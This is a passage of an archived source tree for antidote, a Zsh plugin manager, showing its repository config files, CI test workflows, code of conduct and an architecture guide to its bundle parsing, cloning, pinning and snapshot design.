pax_global_header00006660000000000000000000000064152354117540014521gustar00rootroot0000000000000052 comment=9bb69ab99c6f05d6e6ae237f7ce222eeeb5b4a14 mattmc3-antidote-9bb69ab/000077500000000000000000000000001523541175400153765ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/.bumpversion.cfg000066400000000000000000000003761523541175400205140ustar00rootroot00000000000000[bumpversion] current_version = 2.3.0 parse = v?(?P\d+)\.(?P\d+)\.(?P\d+) serialize = {major}.{minor}.{revision} [bumpversion:file:antidote.zsh] [bumpversion:file:functions/antidote-bundle-dynamic] [bumpversion:file:README.md] mattmc3-antidote-9bb69ab/.editorconfig000066400000000000000000000004461523541175400200570ustar00rootroot00000000000000root = true [*] charset = utf-8 end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true indent_style = space indent_size = 2 [*.crlf.*] end_of_line = crlf [*.md] trim_trailing_whitespace = false [justfile] indent_size = 4 [makefile] indent_style = tab indent_size = 4 mattmc3-antidote-9bb69ab/.github/000077500000000000000000000000001523541175400167365ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/.github/CODE_OF_CONDUCT.md000066400000000000000000000064531523541175400215450ustar00rootroot00000000000000 # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies within all project spaces, and it also applies when an individual is representing the project or its community in public spaces. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at getantidote@gmail.com. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq mattmc3-antidote-9bb69ab/.github/ISSUE_TEMPLATE/000077500000000000000000000000001523541175400211215ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/.github/ISSUE_TEMPLATE/bug_report.yml000066400000000000000000000006211523541175400240130ustar00rootroot00000000000000name: Bug Report description: Report a bug with antidote labels: [bug] body: - type: markdown attributes: value: | Thanks for taking the time to file an issue! Kindly include the output of `antidote --diagnostics` with your report to help troubleshoot. - type: textarea id: description attributes: label: Description validations: required: true mattmc3-antidote-9bb69ab/.github/ISSUE_TEMPLATE/feature_request.yml000066400000000000000000000004601523541175400250470ustar00rootroot00000000000000name: Feature Request description: Suggest a new feature or improvement labels: [enhancement] body: - type: markdown attributes: value: | Thanks for the suggestion! - type: textarea id: description attributes: label: Description validations: required: true mattmc3-antidote-9bb69ab/.github/workflows/000077500000000000000000000000001523541175400207735ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/.github/workflows/test-zsh-5.4.2.yml000066400000000000000000000013341523541175400237440ustar00rootroot00000000000000name: test-zsh-5.4.2 on: push: pull_request: workflow_dispatch: jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v5 - name: Build pinned Zsh 5.4.2 test image run: docker build -f Dockerfile.542 -t antidote-zsh542-ci . - name: Verify toolchain versions run: | docker run --rm antidote-zsh542-ci /usr/local/bin/zsh -lc 'git --version' docker run --rm antidote-zsh542-ci /usr/local/bin/zsh -lc 'zsh --version' - name: Run tests in container run: | docker run --rm \ -v "$GITHUB_WORKSPACE:/workspace" \ antidote-zsh542-ci \ /usr/local/bin/zsh -lc 'cd /workspace && just test-all local' mattmc3-antidote-9bb69ab/.github/workflows/test.yml000066400000000000000000000015021523541175400224730ustar00rootroot00000000000000name: test on: push: pull_request: workflow_dispatch: jobs: test: strategy: matrix: os: [macos-latest, ubuntu-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v5 - uses: actions/checkout@v5 with: repository: "aureliojargas/clitest" path: bin/clitest - run: sudo apt install zsh bats parallel if: ${{ runner.os == 'Linux' }} - run: brew install bash bats-core parallel if: ${{ runner.os == 'macOS' }} # macOS ships bash 3.2; bats helpers need 4.0+ builtins like mapfile - run: echo "$(brew --prefix)/bin" >> "$GITHUB_PATH" if: ${{ runner.os == 'macOS' }} - uses: extractions/setup-just@v4 - run: PATH=$GITHUB_WORKSPACE/bin/clitest:$PATH just test-all local shell: zsh {0} mattmc3-antidote-9bb69ab/.gitignore000066400000000000000000000003411523541175400173640ustar00rootroot00000000000000~* .*/ !.github/ .cache/ .plugins/ .tmp/ .todo/ *.old *.zwc *.zwc.old **/realzdotdir/zsh_plugins.zsh bar.zsh foo*.* sandbox/ !tests/**/foo/ !tests/**/.*/ !tests/**/.* tests/fixtures/* !tests/fixtures/.gitkeep !footer.* .*.md mattmc3-antidote-9bb69ab/ARCHITECTURE.md000066400000000000000000001170371523541175400176130ustar00rootroot00000000000000# antidote architecture This is the orientation map for the codebase. Start here instead of reading the whole tree. Line numbers drift as the code moves, so the stable anchors are function names and the `##### SECTION` banners in [antidote.zsh](antidote.zsh). antidote is a Zsh plugin manager. Its job is small and specific: take a plugins file (`.zsh_plugins.txt`) and turn it into a generated static Zsh script that sources plugins, and clone or update the git repos those plugins live in. Most design decisions trace back to keeping Zsh startup fast, so when the code looks roundabout the reason is usually that the direct version costs a fork or does work at startup that can be done ahead of time. ## File map | Path | Role | | -------------------------------------------- | --------------------------------------------------------------------------------- | | [antidote](antidote) | Standalone shim. Sources `antidote.zsh`, calls `antidote-dispatch`. Not on `PATH` | | [antidote.zsh](antidote.zsh) | The whole engine. Runs as a **subprocess**, not in the user's shell (<2000 sloc) | | [functions/](functions/) | Autoloaded functions that must run **in the parent shell** | | [templates/config.zsh](templates/config.zsh) | User-facing config template documenting every public zstyle | | [man/\*.adoc](man/) | Man page sources. `man/man1/*.1` is generated, never edit it | | [tools/](tools/) | `buildman` (asciidoctor man build), `bumpver`, `antidote-profile`, `sloc` | | [tests/](tests/) | bats suite + runner. See [Testing](#testing) | | [justfile](justfile) | Task entry point. Everything runs through `just` | ### functions/ | File | Runs in | Purpose | | ------------------------- | ------- | ----------------------------------------------------------------------------- | | `antidote` | parent | Function form of the shim, so `autoload -Uz antidote` works from fpath | | `antidote-setup` | parent | Sets `ANTIDOTE_ZSH`, fpath, MANPATH, `_adote_zparopt_flags`. Called on source | | `antidote-dispatch` | parent | Router. Decides parent-shell function vs subprocess | | `antidote-zsh` | parent | Serializes zstyles into env, runs `zsh $ANTIDOTE_ZSH "$@"` | | `antidote-load` | parent | `antidote load`: staleness check, generate static file, `source` it | | `antidote-update` | parent | `antidote update`: bundle updates via subprocess + self-update via git pull | | `antidote-help` | parent | `man` lookup with usage fallback | | `antidote-home` | parent | `antidote home`: resolves `ANTIDOTE_HOME` without a subprocess | | `antidote-init` | parent | `antidote init`: emits the dynamic function without a subprocess | | `antidote-bundle-dynamic` | parent | Dynamic-mode `antidote bundle` with the `.dynamic` script cache | | `_antidote` | parent | Zsh completions | Two shims, two load styles. Sourcing [antidote.zsh](antidote.zsh) runs `antidote-setup`, which autoloads all of [functions/](functions/). Or put that directory on `fpath` and `autoload -Uz antidote`, which loads only [functions/antidote](functions/antidote) and sources the engine on first call. The top-level [antidote](antidote) wraps the same body in a real function plus a call, so it works as a standalone script too. With no `functions/` beside it, sourcing [antidote.zsh](antidote.zsh) falls back to an `antidote` shim that routes everything to the subprocess. That covers every command the subprocess answers alone, but not `load` or dynamic mode, which need parent-shell functions. Covered by [tests/bats/standalone.bats](tests/bats/standalone.bats). The dividing line: if the code must mutate the user's shell (`source`, `fpath`, `PATH`, `autoload`), it belongs in `functions/`. Everything else belongs in `antidote.zsh`. Because `antidote.zsh` runs in its own process, it can `setopt` freely, create globals, and not worry about anything leaking into the interactive shell that called it. The cost is that state has to be handed across the process boundary deliberately, covered next. ## Call chain ```mermaid flowchart TD subgraph parent["parent shell (functions/)"] cmd["antidote <cmd>"] --> disp[antidote-dispatch] disp -->|"wrapper exists"| wrap["antidote-help
antidote-init
antidote-load
antidote-update"] disp -->|"internal / test"| priv["antidote-zsh __private__ <fn>"] disp -->|"everything else"| azsh["antidote-zsh <cmd>"] end priv --> boundary azsh --> boundary boundary{{"env vars only:
ANTIDOTE_ZSTYLES, ANTIDOTE_HOME,
ANTIDOTE_TMPDIR, ANTIDOTE_DYNAMIC,
ANTIDOTE_USING_CTX"}} subgraph sub["subprocess (zsh antidote.zsh)"] boundary --> main["antidote()"] main --> impl["antidote_<cmd>()"] end wrap -.->|"may call back in"| azsh ``` Dispatch is a function existence check rather than a case statement, in two layers: `antidote-dispatch` looks for `$+functions[antidote-$cmd]`, and `antidote.zsh` looks for `$+functions[antidote_$cmd]` (note the underscore). So adding a subcommand usually means adding `antidote_foo()` to `antidote.zsh` and nothing else. Adding a hyphenated `antidote-foo` in `functions/` is how you say "this one needs the parent shell". ### Parent/subprocess boundary `antidote-zsh` is the only bridge, and it passes state as env vars: - `ANTIDOTE_ZSTYLES` - output of `zstyle -L ':antidote:*'`, `eval`'d at the top of `antidote.zsh`. This is how subprocess code sees user zstyles at all; the subprocess has no other view into the parent's zstyle table. - `ANTIDOTE_HOME`, `ANTIDOTE_TMPDIR`, `ANTIDOTE_DYNAMIC` - `ANTIDOTE_USING_CTX` - serialized `_antidote_using_context`, so a `using:` directive survives across separate subprocess invocations in dynamic mode. Without it, each dynamically sourced `antidote bundle` call would start with no memory of the `using:` line above it. The consequence: **completions and any other parent-shell code cannot read subprocess state directly.** Shell out to an antidote command and parse the output instead. ## Static vs dynamic mode **Static (default, fast).** `antidote load` generates `.zsh_plugins.zsh` from `.zsh_plugins.txt` and sources it. Regeneration happens only when the txt file is newer than the zsh file, or when the `$ANTIDOTE_HOME/.antidote.load` check file is missing, which is how a purged or freshly cloned home forces a rebuild. Steady state is therefore one `source` of one flat file, with no subprocess and no parsing at startup. See [functions/antidote-load](functions/antidote-load). **Dynamic.** `source <(antidote init)` replaces the `antidote` function with one that routes `bundle` to [functions/antidote-bundle-dynamic](functions/antidote-bundle-dynamic) and everything else to the subprocess, set via `_ANTIDOTE_INIT_SCRIPT` near the bottom of `antidote.zsh`. This trades startup speed for immediacy, so a few things change to match: `ANTIDOTE_DYNAMIC=true`, `antidote_bundle` also emits `typeset -p _antidote_using_context` so the parent shell keeps `using:` context between calls, and `snapshot_save` becomes a no-op (there is no single generated file to snapshot against). Each `antidote bundle` line caches its generated script in `$ANTIDOTE_HOME/.dynamic/.zsh`, so the steady state is a `source` of a cached file rather than a subprocess per line. The hash covers everything that can change the output: `:antidote:*` zstyles, `antidote.zsh` and config mtimes, the `using:` context, the bundle arguments, and antidote's version literal. Piped or redirected input bypasses the cache, since the whole batch is already one subprocess. ## antidote.zsh layout Sections in file order. Grep the banner text to jump. | Banner | Contents | | ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | (top) | Zsh guard, sourced-vs-executed branch, config file source, `ANTIDOTE_ZSTYLES` eval, `:antidote:test setopts` | | `OUTPUT HELPERS` | `die`, `say`, `warn`, `json_escape`, `confirm` | | `GIT HELPERS` | `gits()` wrapper, `gitq()` quiet, `gitsay()` value-on-stdout + `git_*` one-liners, `git_checkout_pin`, `git_upstream_ref`, `git_rebase`, `git_reset_to` | | `BUNDLE DISCOVERY & CLONING` | `find_bundles`, `bulk_clone` | | `BUNDLE PARSER` | `parse_using_directive`, `expand_using_subplugin`, `check_pin_branch_conflicts`, `bundle_parser`, `bundle_parser_serialize` | | `INFO & USAGE` | `version`, `diagnostics`, `usage` | | `BUNDLE TYPES & NAMING` | `bundle_type`, `tourl`, `short_repo_name`, `bundle_name`, `supports_color` | | `FILESYSTEM & MISC HELPERS` | `initfiles`, `get_dir`/`get_cachedir`/`get_datadir`, `temp_dir`, `del`, `maketmp`, `print_path`, `indent`, `bundle_zcompile`, `collect_input` | | `BUNDLE DIRECTORIES` | `bundle_dir`, `__bundle_dir_by_style`, `bundle_dir_cleanup` | | `MATRIX PASSES` | `bundle_dir_cleanup_pass`, `bundle_sync_pins`, `bundle_zcompile_pass`, `bundle_check_critical` | | `SCRIPT GENERATION` | `bundle_scripter`, `bundle_scripter_parallel`, `zsh_script`, `zsh_script_clone`, `zsh_script_render`, `autoload_script` | | `COMMANDS` | `antidote_bundle`, `antidote_install`, `antidote_purge`, `update_one_bundle`, `antidote_update`, `antidote_home`, `antidote_init`, `antidote_list`, `antidote_path` | | `SNAPSHOTS` | `antidote_snapshot` + `snapshot_{save,prune,list,remove,restore,pick,try_picker}`, `setup_color`, `setup_bat` | | `DISPATCH` | `private_dispatcher`, `antidote()` | | `INITIALIZATION` | Brace group reading every zstyle into `ANTIDOTE_*` globals, then `_ANTIDOTE_INIT_SCRIPT`, `_ANTIDOTE_HELP`, `antidote "$@"` | ## The parsed bundle matrix The central data structure. Understand this before changing parsing or generation. `bundle_parser` reads bundle text on **stdin** and fills a single global associative array, `_parsed_bundles`, keyed `"$i,$key"` with 1-indexed rows to match Zsh's array convention. It is a flat matrix rather than a list of records because Zsh has no nested arrays, so a composite string key is the closest thing available to a two-dimensional table. Matrix-level keys: - `__count__` - number of rows - `__has_pins__`, `__has_errors__`, `__has_critical__` - flags The flags let later passes skip themselves cheaply. `bundle_sync_pins` runs only when `__has_pins__` is set, which keeps the common no-pins case free. Per-row keys (`_parsed_bundles[3,kind]`): - User annotation keys, stored verbatim: `kind`, `path`, `branch`, `pin`, `conditional`, `autoload`, `pre`, `post`, `fpath-rule` - Computed `__*` keys: `__bundle__` (the bundle word), `__type__`, `__name__`, `__url__`, `__short__`, `__dir__`, `__lineno__`, `__error__`, `__severity__` The double-underscore prefix separates "what the user wrote" from "what antidote worked out". User keys are passed through untouched. Severity has two levels. `error` skips the offending row and sets exit 1, but every other bundle still renders, so one typo does not cost the user their whole shell config. `critical` (conflicting or inconsistent `pin:`/`branch:` for a single bundle directory) aborts the run via `bundle_check_critical`, since continuing would mean checking out a revision the user did not ask for. `bundle_parser_serialize` prints `typeset -p _parsed_bundles` so subshells can inherit the matrix. ### Bundle types (`bundle_type`) `file`, `dir`, `path`, `url`, `ssh_url`, `repo`, `using_subplugin`, `empty`, `?` (invalid). Repo-ish types are always matched as the group `(repo|url|ssh_url)`, since anything that clones should behave the same way. ### Bundle kinds `zsh` (default), `clone`, `defer`, `fpath`, `path`, `autoload`. Validated in `zsh_script`. ### `using:` directives `using:foo/bar` sets `_antidote_using_context`, and later bare words expand against it. There are two flavors: - **Repo using** - the context becomes a clone, and bare words become `path:` subpaths of that repo. - **Path using** - the context is a local directory, and bare words become full paths. The directive line itself produces no bundle row. The three parser helpers read and write `bundle_parser`'s locals through Zsh dynamic scoping, which their header comments spell out. Passing a whole row in and out on every call would be a lot of copying for no benefit. `zsh_script_clone` and `zsh_script_render` do the same against `zsh_script`'s locals. If you add a helper here, document the shared names in its header, the way the existing ones do. ## Script generation pipeline `antidote_bundle` is the core command, and everything else leans on it. ```mermaid flowchart TD src["bundle text on stdin"] --> parse[bundle_parser] parse --> crit{"bundle_check_critical"} crit -->|critical| abort(["abort, nothing touched"]) crit -->|ok| clone["bulk_clone
parallel: clone what is missing"] clone --> pins["bundle_sync_pins
sequential, only if __has_pins__"] pins --> zc[bundle_zcompile_pass] zc --> script["bundle_scripter_parallel
parallel: one zsh_script per row,
output ordered by %03d temp files
"] script --> cleanup["bundle_dir_cleanup_pass
drop clones from other path styles"] cleanup --> verify{"every repo dir on disk?"} verify -->|no| fail(["exit 1: clone failed"]) verify -->|yes| emit["emit zcompile preamble + script"] ``` 1. Redirect stderr through a filter that prefixes every line with `#`. The output gets sourced, so a warning that lands in a captured stream has to stay syntactically inert. 2. `bundle_parser` on stdin. 3. `bundle_check_critical` - bail out before touching the filesystem. 4. `source <(bulk_clone)` - emit backgrounded `zsh_script ... &` clone-only calls so everything missing clones in parallel. Network latency dominates a cold run. The zsh-defer bundle is injected first if any bundle uses `kind:defer`, since deferred sourcing needs it present. 5. `bundle_sync_pins` (only when `__has_pins__`), then `bundle_zcompile_pass`. 6. `source <(bundle_scripter_parallel)` - one background `zsh_script` per row, each writing to a numbered temp file, with `wait $pid` per job to preserve exit status, then `cat` in order. Plugin order is semantic, so the `%03d` filenames let the work finish out of order while the output stays in order. 7. `bundle_dir_cleanup_pass` - delete leftover clones from other path styles. 8. Verify that every repo bundle directory now exists on disk. Backgrounded clones lose their exit status, so this check, not a return code, is the real clone-failure detector. 9. Emit the optional static-file zcompile preamble, then the script itself. `zsh_script` takes a **flat key-value arg list** (`zsh_script __bundle__ foo/bar kind defer path lib`) and reassembles it into an assoc array, because assoc arrays cannot be passed as arguments in Zsh. `bundle_scripter` quotes values with `(q)`/`(qq)` when serializing rows into those arg lists, which keeps spaces and glob characters in user input from turning into code. ### Cloning and the background deepen Four processes deep, with the parent blocked on a pipe it cannot see. Worth a diagram, because the shape is what makes the deepen easy to get wrong. ```mermaid sequenceDiagram participant sh as your shell participant sub as antidote.zsh (subprocess) participant job as zsh_script job (&) participant git as git clone participant deep as deepen (&!, disowned) sh->>sub: $(antidote bundle ...) or source <(...) Note over sh,sub: capture reads to EOF, so it waits on
every process still holding the write end sub->>job: source <(bulk_clone): one job per missing repo job->>git: git clone --depth 1 --no-local --recurse-submodules git-->>job: shallow clone, one commit job->>deep: git fetch --unshallow, disowned, fds redirected job-->>sub: load script lines on stdout sub-->>sh: script, sourced Note over deep: keeps running after every other
process here has exited ``` Consequences worth remembering: - **The deepen's redirections go on the job**, not inside `git_unshallow_try`. Disowning it is not enough: a job still holding the captured stdout keeps the pipe open, and the shell waits out the whole fetch. - **Nothing waits on the deepen.** It has no completion signal, so tests poll for the end state rather than waiting. `zstyle ':antidote:test:git' background-deepen` runs it in the foreground instead, since a disowned job cannot be waited on. - **A backgrounded job loses its exit status**, which is why clone failure is detected by checking that every repo directory exists, not by a return code. - **Anything a clone writes to stdout ends up in the script.** Hence the `gits` wrapper returning output in `REPLY`, and the `#` prefix filter on stderr. ### Updating ```mermaid sequenceDiagram participant p as antidote_update participant w as update_one_bundle (&) participant fs as $tmpdir p->>p: antidote_list --dirs, skip anything with antidote.pin p->>w: one worker per bundle dir w->>w: git_sha -> oldsha, min_age_days w->>w: deepen if shallow and not held, else git_fetch w->>w: git_upstream_ref Note over w: no remote-tracking ref, eg branch: naming a
tag, means nothing to update to: skip as success w->>w: min-age? merge --ff-only
shallow graft hiding ancestry? git_reset_to
otherwise git_rebase onto the ref w->>w: submodule sync + update, git_sha -> newsha w->>fs: .output report, .status exit code p->>p: wait fs-->>p: each slot's output and status, in slot order Note over p,fs: a missing or empty status file counts as
failure, so a dead worker cannot pass p->>p: any failure? report and return 1, no autosnapshot ``` Workers never print directly: reports go to `$tmpdir/.output` and the parent replays them in slot order, so parallel updates still read sequentially. `` is an index rather than a repo name because two remotes can share a short name. ## Clone paths and path styles `_ANTIDOTE_PATH_STYLE` (zstyle `:antidote:bundle path-style`): | Style | Result under `$ANTIDOTE_HOME` | | ---------------- | ------------------------------------------------------------- | | `full` (default) | `github.com/owner/repo` | | `short` | `owner/repo` (also what legacy `use-friendly-names` maps to) | | `escaped` | `https-COLON--SLASH--SLASH-github.com-SLASH-owner-SLASH-repo` | `__bundle_dir_by_style` computes the path for a given style with no side effects. `bundle_dir` prefers the configured style but **returns an existing clone found under another style**, so changing `path-style` does not force a full re-clone. `bundle_dir_cleanup` removes the stale duplicates, but only once the preferred path exists, so the only copy is never the one deleted. ## Pins and snapshots A `pin:` annotation requires a full 40-char SHA; short SHAs are not guaranteed unique. Pin state is persisted in the clone's own git config as `antidote.pin`, so it travels with the clone and survives regeneration of the static file. `antidote update` skips any bundle that has it set. Setting `ANTIDOTE_EPHEMERAL_PIN=true` checks out the SHA without writing the config, which is how snapshot restore moves a repo without pinning it permanently. - Applying a pin: `bundle_sync_pins` (sequential) or `zsh_script_clone` for a fresh clone. - Removing a pin: handled inside `zsh_script_clone` so it runs in parallel with everything else. Unsets the config and checks the branch back out. Snapshots are `snapshot-YYYYmmdd-HHMMSSZ.txt` files under `_ANTIDOTE_SNAPSHOT_DIR`, holding `repo kind:clone pin:` lines. Restore replays each line through `antidote_bundle` with an ephemeral pin, in parallel. Because the format is plain bundle lines, a snapshot is readable, diffable, and restorable through the same code path as everything else. `fzf` drives the interactive pick and remove flows, and `bat` handles preview highlighting when present. ## Config and zstyles Config load order in `antidote.zsh`: source the config file, then `eval $ANTIDOTE_ZSTYLES` from the parent shell. The parent wins, so an interactive zstyle overrides the config file. `antidote-setup` sources the same file into the parent shell, so parent-side functions see its zstyles too. It wraps `zstyle` while sourcing so anything the shell already set survives, giving the same precedence in the `autoload -Uz antidote` route, where setup runs after the user's own zstyles. It then sets `:antidote:config sourced`, an internal marker that rides across in `ANTIDOTE_ZSTYLES` and tells `antidote.zsh` the file was already tried, so it is read once per shell rather than once per command. A lone `antidote.zsh` sees no marker and reads the file itself. `ANTIDOTE_CONFIG` is the only variable involved. It is a single self-normalizing name: the user may set it as an env var to override the path, and if unset, `antidote.zsh` fills it in with the XDG default in place. ```zsh typeset -g ANTIDOTE_CONFIG=${ANTIDOTE_CONFIG:-${XDG_CONFIG_HOME:-$HOME/.config}/antidote/config.zsh} ``` After that line it always holds a path, whether or not a file lives there, which is what lets `diagnostics` report `config: (not found)`. `ANTIDOTE_HOME` and `ANTIDOTE_TMPDIR` follow the same env-var-in, resolved-in-place pattern. Discovery behavior is covered by [tests/bats/config.bats](tests/bats/config.bats). This is one of the few settings that has to be an env var instead of a zstyle, and the ordering is the reason: the config file is sourced before `ANTIDOTE_ZSTYLES` is eval'd, because the config file's whole job is to set zstyles. A zstyle cannot select the file that defines the zstyles. **Convention: zstyles are read exactly once**, in the `INITIALIZATION` block at the bottom of the file, into `ANTIDOTE_*` globals. Do not call `zstyle` inside functions. Two reasons: a lookup in a hot loop costs real time, and a config value that can change halfway through a run is hard to debug. Reading everything up front gives the whole run one consistent view of the user's config. The documented exceptions are the lookups that cannot be resolved in advance: per-bundle dynamic lookups (`:antidote:bundle:$bundle` for `zcompile` and `defer-options`), plus `:antidote:static` and `:antidote:test:*`. Public zstyles, with [templates/config.zsh](templates/config.zsh) as the canonical list of defaults: | Context | Style | Global | | ------------------------------ | --------------------------- | ---------------------------------------------------- | | `:antidote:home` | `dir` | `ANTIDOTE_HOME` (default `$(get_cachedir antidote)`) | | `:antidote:bundle` | `file` | `_ANTIDOTE_BUNDLE_FILE` | | `:antidote:bundle` | `path-style` | `_ANTIDOTE_PATH_STYLE` | | `:antidote:bundle` | `use-friendly-names` | legacy alias for `path-style short` | | `:antidote:bundle:` | `zcompile`, `defer-options` | read per bundle | | `:antidote:static` | `file`, `zcompile` | owned by `antidote-load` / bundle output | | `:antidote:defer` | `bundle` | `_ANTIDOTE_DEFER_BUNDLE` | | `:antidote:fpath` | `rule` | `_ANTIDOTE_FPATH_RULE` (`append`/`prepend`) | | `:antidote:git` | `site`, `protocol`, `cmd` | `ANTIDOTE_GIT_*` | | `:antidote:fzf` | `cmd`, `opts`, `opts_file` | `ANTIDOTE_FZF_*` | | `:antidote:bat` | `opts` | `_ANTIDOTE_BAT_OPTS` | | `:antidote:snapshot` | `dir`, `max`, `dateformat` | `ANTIDOTE_SNAPSHOT_*` | | `:antidote:snapshot:automatic` | `enabled` | `_ANTIDOTE_AUTOSNAPSHOT` | | `:antidote:load:checkfile` | `disabled` | read in `antidote-load` | Test-only zstyles. These are not user facing, and they stay out of the man pages on purpose: | Context | Style | Purpose | | -------------------------------- | ------------------------ | ----------------------------------------------------------------------------------------------- | | `:antidote:test` | `tty` | Claim stdout is a terminal, since bats captures it through a pipe | | `:antidote:test:env` | `LOCALAPPDATA`, `OSTYPE` | Fake the platform so path logic can be tested off-platform | | `:antidote:test:git` | `autostash` | Drop `--autostash` from the update rebase. Defaults on, so tests opt out | | `:antidote:test:version` | `show-sha` | Suppress the git SHA in `version` output. Defaults on | | `:antidote:test:snapshot` | `epoch` | Pin the snapshot timestamp so filenames are predictable | | `:antidote:test` | `setopts` | A list of extra shell options for antidote's own code, eg: `warn_create_global warn_nested_var` | | `:antidote:test:purge` | `answer` | Pre-answer the `confirm` prompt | | `:antidote:test:snapshot:remove` | `answer` | Pre-answer the `confirm` prompt | ## Internals access: `__private__` `antidote __private__ [args]` routes straight through to `private_dispatcher` in the subprocess, which calls any internal function and prints `$REPLY`/`$reply` for the ones that return values that way. It exists so internals can be tested directly without being promoted to public subcommands, and it is used heavily by the test suite and by `antidote-load` (`__private__ del`). Bundle-matrix commands (`bundle_scripter`, `zsh_script`, `bundle_check_critical`) get stdin parsed first, so they arrive with a populated matrix. ## Developer setup Everything routes through [just](https://just.systems), and the test suite is meant to run in a container, so the host needs very little. | Tool | Needed for | Install | | ------------- | ------------------------------------------------------------------------ | ----------------------------------------------------------- | | `zsh` | Everything. 5.4.2 or newer | Preinstalled on macOS; `apk/apt/brew install zsh` elsewhere | | `git` | Cloning, and the test fixtures | `brew install git` | | `just` | Every task in the [justfile](justfile) | `brew install just`, or see just.systems | | `podman` | The test containers | `brew install podman`, then `just container-up` | | `asciidoctor` | `just buildman` only. Not in the containers, so man builds are host-side | `gem install asciidoctor` | First run: ```zsh just container-up # starts the podman machine and builds both images just test # unit tests in the zsh-latest container ``` Optional, and only if you want to run tests directly on the host with `just test local`, since the containers already ship them: | Tool | Needed for | | --------------------------------------------------- | -------------------------------------------------------- | | `bats` | The suite itself. 1.4+, for `BATS_TEST_TMPDIR` | | GNU `parallel` | bats `--jobs` | | [clitest](https://github.com/aureliojargas/clitest) | The [tests/README.md](tests/README.md) literate doc test | `fzf` and `bat` are runtime optionals, not build requirements. Snapshot pick and remove flows need `fzf` to be interactive, and `bat` only adds preview highlighting. [tests/run](tests/run) checks for its own prerequisites up front and exits 127 with the missing command named, so a bare host fails clearly rather than mysteriously. ## Testing The runner is [tests/run](tests/run), which calls `bats --jobs ${BATS_JOBS:-8}`. Always go through `just`: ``` just test # unit, in the zsh-latest podman container just test-all # unit + network ("real") tests just test-file tests/bats/foo.bats just test 542 # against Zsh 5.4.2 (oldest supported) just container-up # build both containers first ``` Prefer the container. It pins the Zsh version and keeps the real `$HOME` out of reach, which matters for a tool that exists to touch dotfiles. Use `just test local` only when explicitly asked. The harness authority is [tests/bats/helpers/common.bash](tests/bats/helpers/common.bash). Two styles: 1. **Canonical bats** (preferred) - call `antidote_test_home` in `setup()`, then `run antidote ...` per statement. The `antidote()` helper runs `antidote.zsh` as a subprocess in an isolated `$HOME`. Default to this. 2. **`run_session`** - a real zsh session, for what a subprocess cannot show: dynamic mode, setopts, `load`, autoloading. Arrange state in `SESSION_PRELUDE`, have the body emit plain facts, and do the judging bats-side. `fixture_session` clones the standard fixtures first. Assertions use vendored bats-assert and bats-support in `tests/bats/lib`. `expect` does a whole-output golden compare and prints a diff on failure. Golden blocks under roughly 20 lines stay inline where a reader can see them; big or shared ones live in `tests/testdata`. `tests/bin/init_fixtures.zsh` generates local bare repos under `tests/fixtures` (falling back to `/tmp/antidote-fixtures`), plus a gitconfig with `insteadOf` rules mapping `fakegitsite.com` to those bares. That is how cloning, fetching, and updating get tested with no network, which keeps the suite fast and deterministic. The few tests that need the network live in `tests/bats/real/`. Each fixture exists for a reason, so reach for an existing one before adding another: `pintest/pinme` is tagged and has a bad HEAD to pin away from, `dino/saur` has dated commits for `min-age`, `sub/parent` carries a submodule, and `devhead/devrepo` has main and dev diverged with the bare repo's HEAD on dev. That last one has to diverge, or following the wrong branch would look identical to following the right one. Two things about the fixtures being local paths rather than real URLs. Submodules need `protocol.file.allow` set in the generated gitconfig, since git refuses the file transport for them by default. And git ignores `--depth` for a plain local path, so the submodule's recorded URL is a `file://` URL: a path would silently hide `--shallow-submodules` and print a warning on every clone. Session helpers in `tests/functions/` (`t_setup`, `t_teardown`, `t_setup_real`, `subenv`, `bundle_val`, `print_parsed_bundle`, `t_unload_antidote`) are autoloaded by `tests/__init__.zsh`. [tests/README.md](tests/README.md) also runs as a clitest smoke test of the old literate format, so edits there have to keep working as commands. ## Conventions and gotchas Follow these even where the reason is not obvious at the call site. Most of them came from a real bug. - **All `local` declarations at the top of a function**, never inside conditionals or loops. Keeps a function's footprint visible at a glance, and avoids surprises when a branch does not run. - **A `_foo` prefix means global** in `antidote.zsh` (`_parsed_bundles`, `_antidote_using_context`). Never use a leading underscore for a local there. - **State antidote probes for itself must initialize explicitly**, as `setup_color` and `setup_bat` do. `typeset -g VAR` on its own preserves a value inherited from the environment, so a bare declaration lets an exported `VAR` override what antidote actually detected. - **Never `local 